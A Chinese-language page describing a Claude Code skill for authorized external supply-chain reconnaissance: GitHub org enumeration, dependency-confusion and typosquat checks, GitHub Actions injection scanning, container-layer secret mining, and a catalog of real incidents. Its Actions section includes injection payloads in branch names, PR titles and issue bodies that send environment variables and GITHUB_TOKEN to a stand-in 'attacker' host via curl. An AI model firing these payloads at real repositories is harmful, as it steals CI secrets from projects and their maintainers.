关于 supply-chain-attack-recon
面向外部安全评估的供应链攻击面侦察技能,帮助安全人员检查公开代码库、构建工作流、容器镜像和依赖元数据。重点是发现泄露凭据、依赖混淆条件及 CI/CD 配置风险,并强调未经授权不得发布攻击性软件包。
主要功能
- 01枚举公开代码库与敏感文件
- 02发现内部依赖名称和注册表线索
- 03检查 GitHub Actions 注入风险
- 04搜寻容器镜像与构建日志泄露
- 05关联 SBOM 和依赖版本漏洞
适用场景
- 01审计公开 GitHub 组织及其仓库
- 02检查内部包名是否存在依赖混淆条件
- 03评估 CI 工作流的代码注入风险
- 04从镜像和日志中查找泄露凭据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill supply-chain-attack-recon安装后在 Claude Code 中输入/supply-chain-attack-recon确认已加载。
详细介绍
适用场景
在以下情况下触发:
- 目标拥有公开的 GitHub 组织(通过 OSINT 查找)
- JS bundle 引用了看起来像内部包的名称(
@target-internal/...、target-utils、target-shared) - 构建日志、SBOM 或
package-lock.json文件可公开访问 - 目标使用部分公开的 CI/CD(GitHub Actions、GitLab CI、Bitrise)
- Docker Hub/GHCR/Quay 上的 Docker 镜像属于目标组织
- 发现中包含带有内部注册表 URL 的
npmrc/pip.conf/gradle.properties .github/workflows/*.yml文件引用了内部工具
请勿用于:
- 内部网络中的制品注册表(根据外部边界规定,不在范围内)
- 未经明确许可,实际发布拼写抢注 / 依赖混淆软件包
- 攻击上游开源项目(影响范围巨大——在大多数司法辖区,未经授权均属违法)
供应链攻击面图
Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.
第 1 步 — 发现 GitHub 组织
TARGET="<brand>" # set to target brand name
# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done
# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10
# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile
第 2 步 — 枚举公开仓库中的敏感制品
ORG="targetorg"
# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef
# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"
# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"
第 3 步 — 发现内部软件包名称
从 JS bundle 中发现
# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
echo " $pkg → $status"
# 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
从 GitHub 仓库的 package.json 文件中发现
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
从 Python 项目中发现
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
第 4 步 — 检查依赖混淆漏洞
对于发现的每个看起来像内部软件包的名称:
NAME="@target-internal/utils" # example
# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE
# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable
# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1
# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1
严重性评估: 名称未被认领,并不代表它就能被利用。你还需要:
- 有证据表明目标的构建系统会从公共注册表解析名称(而不只是从内部注册表解析)
- 或有证据表明目标的软件包管理器配置不安全(例如,
.npmrc未配置@scope:registry=映射) - 或该软件包会由其构建流程安装(它确实列在 package.json 中,而不只是被死代码引用)
如果注册表返回 404,但没有其他佐证,只能作为信息性发现。
第 5 步 — 拼写抢注候选项(针对外部依赖项)
对于目标使用的每个外部公共依赖项:
# Common typosquat patterns:
# Original: "react-router-dom"
# Typos:
# "react-router-doms" (extra s)
# "react-routter-dom" (double t)
# "react-rotuer-dom" (transposed)
# "react--router-dom" (double dash)
# "react-router-dorn" (m→rn)
# "reactrouterdom" (no dashes)
# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
print(name[:i] + name[i+1:]) # delete
if i < len(name)-1:
print(name[:i] + name[i+1] + name[i] + name[i+2:]) # transpose
"
# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
[ "$status" = "404" ] && echo " UNCLAIMED: $candidate"
done
⚠ 外部攻击提示: 将拼写抢注软件包发布到公共注册表,是对更广泛生态系统的攻击。未经明确、书面且范围清晰的批准,绝对不要这样做。这可能会影响参与范围之外的用户,并且可能违法。
第 6 步 — 扫描 GitHub Actions 工作流注入
对于包含 .github/workflows/ 的每个公开仓库:
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
for wf in $workflows; do
content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
echo "=== $repo/$wf ==="
# High-risk patterns:
# 1. pull_request_target (runs with secrets on PR from forks)
echo "$content" | grep -E 'pull_request_target'
# 2. Untrusted context interpolation
echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
# 3. ${{ github.event.* }} into shell run blocks
echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
# 4. checkout of PR head with elevated perms
echo "$content" | grep -E 'ref:.*pull_request|head_ref'
# 5. Self-hosted runner without isolation
echo "$content" | grep -E 'runs-on:.*self-hosted'
# 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
# Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
done
done
需要标记的注入模式(严重性指南)
| 模式 | 严重性 |
|---|---|
pull_request_target + actions/checkout 且使用 ref: pull_request.head.sha + 使用仓库机密 | 严重 — 可在运行器上利用组织机密进行远程代码执行 |
${{ github.event.pull_request.title }} 被插入 shell 命令 | 严重 — 可通过 PR 标题注入脚本 |
第三方操作固定到可变标签(uses: org/repo@v1 / @main),而非提交 SHA | 高 — 可重新指向的供应链攻击向量(参见案例 #9) |
| 公共仓库工作流可访问自托管运行器 | 高 — 攻击者可借此持续横向移动 |
由 issue 评论触发、并使用令牌运行 gh 的工作流 | 高 |
| 工作流从目标控制的 URL 下载内容 | 中 |
GitHub Actions 上下文注入入口(分支名称、PR 标题、issue 正文)
PR 元数据中的不可信上下文流入 run: 代码块,是一种经典的注入攻击向量。测试载荷:
# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'
# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'
# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'
# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.
公开的 GitHub Actions 运行日志(泄露机密)
公开仓库中的 Actions 日志默认公开。请查找:
# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'
# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d
# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'
日志中泄露的机密意味着凭据被直接窃取;严重性取决于令牌类型(GitHub PAT、npm 令牌、AWS 密钥等)。
使用 zizmor 静态检测 Actions 注入入口
如需高置信度的自动标记,可对所有工作流文件运行 zizmor 分析器:
# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor
# Scan all workflows
zizmor .github/workflows/*.yml
# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier
Zizmor 可减少手动编写正则表达式的工作,并发现边缘情况(例如,通过变量引用间接插入上下文)。
第 7 步 — 挖掘 Docker / 容器镜像注册表
# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'
# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null
# For each image, list tags
for img in image1 image2; do
curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done
# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"
# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update
第 8 步 — SBOM / 制品元数据泄露
# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'
# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'
# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'
第 9 步 — 内部注册表 URL 泄露
# .npmrc patterns
grep -r "registry=" . # in cloned repos
grep -r "_authToken=" . # leaked npm token!
grep -r "@.*registry=" . # scoped registry
# pip config
grep -r "extra-index-url" .
grep -r "index-url" .
# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .
# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable
第 10 步 — npm/PyPI 组织信息
# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'
# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20
# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"
第 11 步 — 前端和第三方依赖检查
检测遭入侵的 CDN(polyfill.io 等)
已知遭入侵的 CDN 和分析服务已被武器化。检查目标的公开 HTML/JS:
# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'
# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done
参考:polyfill.io 于 2024 年遭入侵,被用于提供恶意载荷。发现其存在 = 供应链风险。
工具
| 工具 | 用途 |
|---|---|
trufflehog | 文件系统/git/docker 密钥扫描 |
gitleaks | Git 历史记录密钥扫描 |
dependency-confusion (Confused) | npm 作用域/PyPI 检查 |
packj | 软件包风险评分(PyPI/npm/RubyGems) |
Lift / Snyk vuln-db | 按软件包版本查找已知 CVE |
actionlint | GitHub Actions 静态分析器 |
zizmor | 检测 GitHub Actions 注入和安全反模式 |
OSSGadget | Microsoft 的软件包元数据工具集 |
semgrep + 供应链规则 | 检测工作流注入 |
osv-scanner | 将版本与已知漏洞匹配 |
严重性评分指南
| 发现 | 严重性 |
|---|---|
| 内部软件包名称 + 未配置作用域映射 + 在公共 npm 上尚未被认领 + 正在构建中使用 | 严重 — 依赖混淆 RCE |
内部软件包名称 + 在 .npmrc 中配置了作用域映射,但 _authToken 已泄露 | 严重 — 可直接推送到注册表 |
| Pull_request_target 工作流 + 密钥暴露 + PR 可控制代码执行 | 严重 — 组织范围的令牌失窃 |
| 含有泄露密钥层的 Docker 镜像 | 高(视密钥而定) |
| 内部注册表 URL 已披露(但没有凭据) | 低 — 仅信息披露 |
| 已发现仿冒候选名称(尚未发布) | 信息性 — 提醒事项 |
| 公共组织有 1000 个以上可能被认领的未使用名称 | 信息性 — 卫生问题 |
反模式
- 未经明确、签名且说明作用域的授权,切勿发布仿冒或依赖混淆软件包 — 这会影响参与测试范围之外的用户
- 未经明确许可,切勿在测试中向客户代码仓库提交 PR — 可能需要工作流注入概念验证,但这会影响 CI/CD 和其他开发者
- 切勿抓取整个 npm/PyPI 来寻找仿冒候选名称 — 这种做法不负责任且会产生大量噪声
- 切勿将“名称尚未被认领”等同于“可利用的依赖混淆” — 关键在于构建系统;许多组织会使用正确的作用域映射来阻止攻击
- 切勿接触 GitHub Actions 自托管运行器 — 它们可能位于客户网络内部,超出外部测试范围
- 切勿盲目拉取大型 Docker 镜像 — 镜像可能有 5-50GB;请先检查标签
可作为交付成果的发现
供应链发现必须满足以下所有条件:
- 明确的名称/路径 — 精确的内部软件包名称、工作流文件路径或镜像标签
- 漏洞机制 — 依赖混淆/仿冒/注入等
- 可利用性证据 — 证明构建/安装确实会使用攻击者的载荷(而不仅仅是“名称尚未被认领”)
- 严重性 — 根据影响范围进行校准(一个开发者?所有开发者?该软件包的所有用户?)
- 建议 — 具体明确(例如,“即使不使用,也要在 npm 上以自己的名义注册未使用的名称 @target-internal/utils;配置
.npmrc作用域:注册表映射”)
邻近技能衔接
apk-redteam-pipeline— APK 也会泄露内部包名(可在反编译的build.gradle中查找)cloud-iam-deep— CI/CD 密钥通常就是云凭据;此技能负责发现它们,那个技能负责验证它们hunt-cloud-misconfig— CI/CD 流水线错误配置(Jenkins / GitLab Runner)存在重叠m365-entra-attack— Azure DevOps 流水线属于 Entra 攻击面的一部分redteam-report-template— 供应链发现需要更清楚地说明影响范围(单个仓库还是整个生态系统)mid-engagement-ir-detection— 在公共 npm 上注册名称不会触发客户端内部的任何动作,但任何发布操作都会引起关注并留下审计记录
外部范围边界检查
此技能完全针对外部目标——所有目标都是公共注册表 / 公共 GitHub。如果参与的测试涉及客户的内部制品注册表(内部 Nexus、JFrog、Sonatype),那属于内部基础设施,根据 feedback_skill_boundaries 明确不在范围内。应将内部注册表 URL 暴露报告为发现;不要尝试枚举该注册表。
真实案例参考
- Alex Birsan 2021 — 最初的依赖混淆研究,从 Apple/Microsoft/PayPal/Yelp 等公司获得超过 13 万美元的漏洞赏金。
- ua-parser-js 2021 — 通过窃取维护者凭据,攻陷 npm 包
- node-ipc 2022 — 维护者引入的供应链恶意更新
- 3CX 2023 — 通过 X_TRADER → 3CX → 客户展开的连锁供应链攻击
- XZ Utils 2024 — 针对上游 OSS 的多年社会工程供应链攻击
值得逐一阅读这些案例,了解攻击为何奏效,以及此前存在哪些危险信号。
已披露案例目录(引用)
以下列出 12 起文档详实的公开案例,并映射至上述侦察面。每个条目包括:攻击名称、年份、攻击流程、根本原因、影响、参考资料,以及侦察技能的要点。
1. SolarWinds Orion / SUNBURST(CISA AA20-352A,2020 年 12 月)
- 攻击流程: APT29(UNC2452 / Cozy Bear)攻破 SolarWinds 的构建流水线,并将 SUNBURST 后门植入
SolarWinds.Orion.Core.BusinessLayer.dll。该 DLL 木马化后使用 SolarWinds 的合法证书进行代码签名,并在 2020 年 3 月至 6 月期间通过常规自动更新渠道发送给约 18,000 名客户。 - 根本原因: 构建环境遭到攻破——攻击者在编译过程中修改了源代码;签名基础设施信任构建产物,却未验证源代码的完整性。
- 影响: 约 18,000 家机构收到后门;约 100 家(包括美国财政部、商务部、国土安全部、司法部、Microsoft、FireEye/Mandiant)收到第二阶段 TEARDROP/BEACON 载荷。SolarWinds 报告称直接应对成本超过 4,000 万美元;集体诉讼和解金额为 2,600 万美元。
- 参考资料:
- CISA AA20-352A:https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
- Mandiant 分析(SUNBURST):https://cloud.google.com/blog/topics/threat-intelligence/sunburst-additional-technical-details
- Microsoft 分析:https://www.microsoft.com/en-us/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack/
- SolarWinds 事后报告:https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
- 侦察要点: 只要目标通过自有 CI 发布已签名二进制文件,侦察时就应检查构建环境本身是否可被访问。留意暴露的 Jenkins/GitLab CI 控制台、公开的 TeamCity Agent,或会泄露源代码路径的构建产物。代码签名证书加上被攻破的构建环境,会形成无法阻断的信任链。
2. 3CX VoIP 软电话供应链攻击(CVE-2023-29059,2023 年 3 月)
- 攻击流程: 被归因于朝鲜的 Lazarus 子组织(UNC4736 / Labyrinth Chollima)在 Windows 和 macOS 上,均对 3CX DesktopApp(基于 Electron 的软电话)植入木马。最初的入侵途径是一次更早发生的供应链攻击——一名员工安装了被植入后门的 Trading Technologies X_TRADER 副本,这是首次披露的级联供应链攻击(一个供应链受害者成为另一个目标的攻击途径)。
- 根本原因: 开发工作站遭入侵 → 获取 3CX 源代码和构建流水线的访问权限 → 在经过签名的安装程序中捆绑恶意
ffmpeg.dll和d3dcompiler_47.dll。 - 影响: 约 600,000 家组织使用 3CX;数以万计的木马化客户端被下载。Lazarus 有选择地针对加密货币和交易公司激活第二阶段有效载荷。
- 参考资料:
- CrowdStrike:https://www.crowdstrike.com/en-us/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
- SentinelOne:https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
- Mandiant 的级联攻击分析:https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise
- 3CX 事后分析:https://www.3cx.com/blog/news/desktopapp-security-alert-update/
- 侦察启示: 级联供应链攻击确实存在——目标供应商的供应商也很重要。侦察时若要查明“该组织会在工程师的笔记本电脑上安装哪些软件”,就要记住,这些软件本身也可能成为供应链攻击目标。Electron 应用(经过签名的 JS 包)尤其常见,常被用作攻击途径。
3. MOVEit Transfer 大规模利用(CVE-2023-34362,2023 年 5 月至 7 月)
- 攻击流程: Cl0p 勒索软件团伙成员(FIN11 / Lace Tempest)发现 Progress MOVEit Transfer 存在无需身份验证的 SQLi,部署了 LEMURLOOT Webshell,并在 2023 年 5 月 31 日发布补丁前约 2 周内,从所有可通过互联网访问的实例中窃取文件。
- 根本原因:
moveitisapi/moveitisapi.dll中存在预认证 SQLi → 可执行任意 SQL → 通过等效于xp_cmdshell的路径写入 Webshell。这是典型的单个 CVE 大规模利用事件;并非构建流水线攻击,而是已交付代码引发的供应链故障。 - 影响: 约 2,700 家组织确认遭到入侵,约 9,500 万人的个人身份信息(PII)泄露(包括 BBC、Shell、BA、美国能源部、路易斯安那州机动车管理局、俄勒冈州机动车管理局等)。估计损失总计超过 15 亿美元。
- 参考资料:
- CISA AA23-158A:https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
- Progress 安全公告:https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
- Mandiant:https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
- Huntress 技术分析:https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
- 侦察启示: 文件传输产品(MOVEit、Accellion FTA、GoAnywhere MFT、Cleo Harmony)反复呈现同一模式:位于互联网边界、保存所有人的数据、运行于 Windows。应在侦察早期就通过 HTML 标题 / favicon 哈希进行指纹识别;边界产品的单个 CVE 就可能影响整个客户群。
4. Codecov bash 上传器遭入侵(2021 年 4 月)
- **攻击流程:**攻击者利用镜像创建流程中的凭据错误,获得了 Codecov Docker 镜像构建流程的访问权限,随后篡改了
Bash Uploader脚本(https://codecov.io/bash),将环境变量外传至第三方 IP。此次篡改从 2021 年 1 月 31 日持续至 2021 年 4 月 1 日,直到一位客户发现 SHA-256 不匹配,才在两个月后被检测到。 - **根本原因:**Docker 镜像构建过程泄露了一项凭据,使攻击者能够修改所提供的 bash 脚本;客户侧没有进行完整性验证(没有固定并验证签名哈希)。
- **影响:**全球所有通过
curl -s https://codecov.io/bash | bash执行 CI 的流程,在两个月内都外传了环境变量。已确认的下游受害者包括:HashiCorp(轮换了 GPG 密钥)、Twilio、Rapid7(部分源代码暴露)、Mercari、Confluent 和 Atlassian。 - 参考资料:
- Codecov 事后分析:https://about.codecov.io/security-update/
- HashiCorp 公告:https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512
- Mercari 披露:https://about.mercari.com/en/press/news/articles/20210521_incidentreport/
- Rapid7:https://www.rapid7.com/blog/post/2021/05/13/rapid7-discloses-its-response-to-codecov-incident/
- **侦察要点:**公开 CI 工作流中的“curl-bash-install”模式是这项侦察技能的重点目标——在
.github/workflows/中搜索curl ... | bash、wget ... | sh、iwr ... | iex。任何传入 shell 的第三方 URL 都可能造成供应链攻击的大范围影响。在工作流中固定 SHA 可以降低风险;未固定则应作为发现项。
5. ua-parser-js npm 劫持事件(2021 年 10 月)
- **攻击流程:**攻击者通过钓鱼或凭据填充攻击了维护者的 npm 账号,并发布了
ua-parser-js的0.7.29、0.8.0和1.0.0版本(每周下载量约 700 万次,经由依赖传递影响 Facebook、Microsoft、Amazon 和 IBM)。恶意版本运行了一个preinstall钩子,用于下载加密货币挖矿程序和 Windows 密码窃取程序(Jason 凭据窃取程序)。 - **根本原因:**维护者的 npm 账号未启用 2FA,且凭据较弱;当时 npm 未要求高价值发布者启用 2FA。
- **影响:**相关软件包在被下架前存在约 4 小时,但在此期间被安装了数万次。CISA 发布了紧急警报,这是 CISA 首次针对 npm 软件包遭入侵发出警告。
- 参考资料:
- GitHub 安全公告:https://github.com/advisories/GHSA-pjwm-rvh2-c87w
- CISA 警报:https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
- 维护者的事件说明:https://github.com/faisalman/ua-parser-js/issues/536
- Snyk 分析:https://snyk.io/blog/npm-security-malicious-code-found-in-npm-package-ua-parser-js/
- **侦察要点:**按软件包下载量找出目标使用的 npm/PyPI 下载量排名前 30 的维护者,然后检查其账号是否启用了 2FA(npm 可通过组织成员的
npm profile get查看此信息;注册表 API 也会部分公开相关信息)。侦察结果示例:“根据公开注册表数据,这 4 位维护者控制的软件包总安装量为 X,且账号未启用 2FA。”
6. event-stream npm 软件包(2018 年 11 月)
- 攻击流程: 原维护者 Dominic Tarr(已不再使用该模块)将
event-stream(每周约 200 万次下载)交给一位表示愿意维护它的新贡献者“right9ctrl”。新维护者添加了flatmap-stream作为依赖项,随后推送了一个flatmap-stream更新,其中包含针对 Copay 比特币钱包构建过程的载荷——窃取任何 Copay 用户的 BTC/BCH 钱包种子。 - 根本原因: 维护权交接过程中遭遇了社会工程攻击;接手关键软件包的新贡献者没有经过审查。只有当
event-stream被打包进 Copay 钱包时,恶意依赖项才会触发(针对特定构建上下文)。 - 影响: Copay 钱包用户的密钥遭到窃取;具体的经济损失金额从未公开披露。此事件促使 npm 全面推行双重身份验证(2FA),并制定了“热门软件包需要额外审查”的政策。
- 参考资料:
- 侦察要点: 检查目标所依赖软件包的
npm view <pkg> maintainers输出和近期维护者变更。下载量超过 100K 的软件包若在过去 90 天内更换过维护者,就应视为黄色警示。此外,按构建上下文定向的载荷(仅在打包进特定应用时触发)很难检测——静态扫描器会漏掉它。
7. PHP Git 服务器遭入侵(2021 年 3 月)
- 攻击流程: 攻击者向
git.php.net上的官方php-srcGit 仓库推送了两次恶意提交,并冒用 Rasmus Lerdorf 和 Nikita Popov 的签名。这些提交加入了一个 Zend 后门,可执行来自User-AgenttHTTP 标头(注意末尾有两个 t)的代码。 - 根本原因: 自托管 Git 服务器(基于 Gitolite 的
git.php.net)存在凭据/身份验证漏洞——可能与用户数据库泄露后密码以明文存储有关。事件发生后,PHP 团队迁移至 GitHub,并将其设为权威源代码仓库。 - 影响: 后门提交在数小时内被发现,从未随正式版本发布。但这是“自托管的事实来源仓库 = 单点故障”的典型案例。
- 参考资料:
- 侦察要点: 使用自托管 Git(Gitea、Gitolite、Phabricator、Bitbucket Server)的目标,比托管在 GitHub 上的目标风险更高。侦察时应识别 Git 服务器软件,检查默认凭据,并关注来自异常 IP 地址、基于 SSH 密钥的推送(可在提交元数据中看到)。
8. Log4Shell(CVE-2021-44228,2021 年 12 月)
- **攻击流程:**严格来说,这并非供应链攻击,但它是“你不知道依赖树中包含什么”的典型事件。Apache Log4j 2.x 中的 JNDI 查找功能允许攻击者通过任意日志字符串中的
${jndi:ldap://attacker/...}远程执行代码。由于数千款 Java 应用会间接引入 Log4j,数亿个系统都存在漏洞。 - **根本原因:**2013 年发布的默认不安全功能(
MessageLookup替换);层层嵌套的间接依赖使清点和修补几乎不可能。 - **影响:**CISA 主任 Jen Easterly 称其为“十年来最严重的漏洞”。所有主要云服务、所有 Apache 产品以及所有 Java 企业技术栈均受影响。Conti、Khonsari 勒索软件以及国家级行为者持续进行大规模攻击。
- 参考资料:
- CISA Log4j 页面:https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
- Apache 公告:https://logging.apache.org/log4j/2.x/security.html
- LunaSec 分析:https://www.lunasec.io/docs/blog/log4j-zero-day/
- GovCERT.ch 受影响产品树:https://www.cisa.gov/known-exploited-vulnerabilities-catalog(KEV 条目)
- **侦察要点:**SBOM 是解决此问题的关键。侦察技能的第 8 步(SBOM 挖掘)能发挥重要作用——从公开发布产物中提取 SPDX/CycloneDX 文件,可获取准确的间接依赖版本,然后将其映射到 OSV / NVD,查找已知 CVE。大多数组织都低估了依赖树的深度。
9. tj-actions/changed-files GitHub Action 遭入侵(CVE-2025-30066,2025 年 3 月)
- **攻击流程:**攻击者入侵了 tj-actions/changed-files GitHub Action(约 23,000 个仓库在使用),并将所有版本标签 v1–v45 修改为指向恶意提交。注入的代码运行
printenv,并将 CI 机密转储到 GitHub Actions 日志中——任何拥有公开仓库读取权限的人都能看到这些日志。 - **根本原因:**GitHub Actions 中的标签引用可变——
uses: tj-actions/changed-files@v35会在运行时解析,因此控制该仓库的攻击者可以重新指向旧标签。大多数使用者都没有固定到提交 SHA(@<sha>)。 - **影响:**约 23,000 个仓库受到影响;CISA 将其加入 KEV;数千个机密(AWS 密钥、npm 令牌、Docker Hub 凭据)泄露到公开的 Action 日志中。多个下游事件(Coinbase、Cloudflare 等)均可追溯至此次入侵。
- 参考资料:
- CISA KEV 条目:https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
- StepSecurity 披露:https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
- Wiz 分析:https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- Semgrep:https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
- **侦察要点:**这是当前收益最高的侦察途径。在公开仓库中搜索
uses: <org>/<repo>@v\d+(可变标签)和uses: <org>/<repo>@<sha>(固定版本)。任何未固定版本的第三方 Action 都存在供应链风险。技能的第 6 步应明确标记可变标签的用法。
10. PyPI typosquatting(colourama、python3-dateutil、jeIlyfish 等)
- **攻击流程:**攻击者在 PyPI 注册名称与热门软件包视觉上或拼写上相似的软件包——用
colourama仿冒colorama,用python3-dateutil仿冒python-dateutil,用jeIlyfish(以大写字母 I 替代 L)仿冒jellyfish。这些软件包都包含setup.py安装后钩子,用于窃取 SSH 密钥、GPG 密钥、GitHub 令牌,或安装针对~/.bitcoin/wallet.dat的加密货币窃取程序。 - **根本原因:**PyPI 允许名称容易混淆的软件包;pip 按完全匹配的字符串解析名称。发布新软件包时没有人工审核环节。
- **影响:**每次活动在被下架前的安装量通常不到 1 万次,但
jeIlyfish存活了 1 年(2018 年 12 月至 2019 年 12 月)。累计来看,Snyk、Phylum、Sonatype 和 ReversingLabs 每年都会记录数十起活动。 - 参考资料:
- ReversingLabs 关于 jeIlyfish/python3-dateutil 的文章:https://www.reversinglabs.com/blog/mining-for-malicious-ruby-gems
- Snyk 对 colourama / pytagora 的分析:https://snyk.io/blog/malicious-packages-found-to-be-typo-squatting-in-pypi/
- Phylum 2024 年 typosquatting 报告:https://blog.phylum.io/the-state-of-the-software-supply-chain/
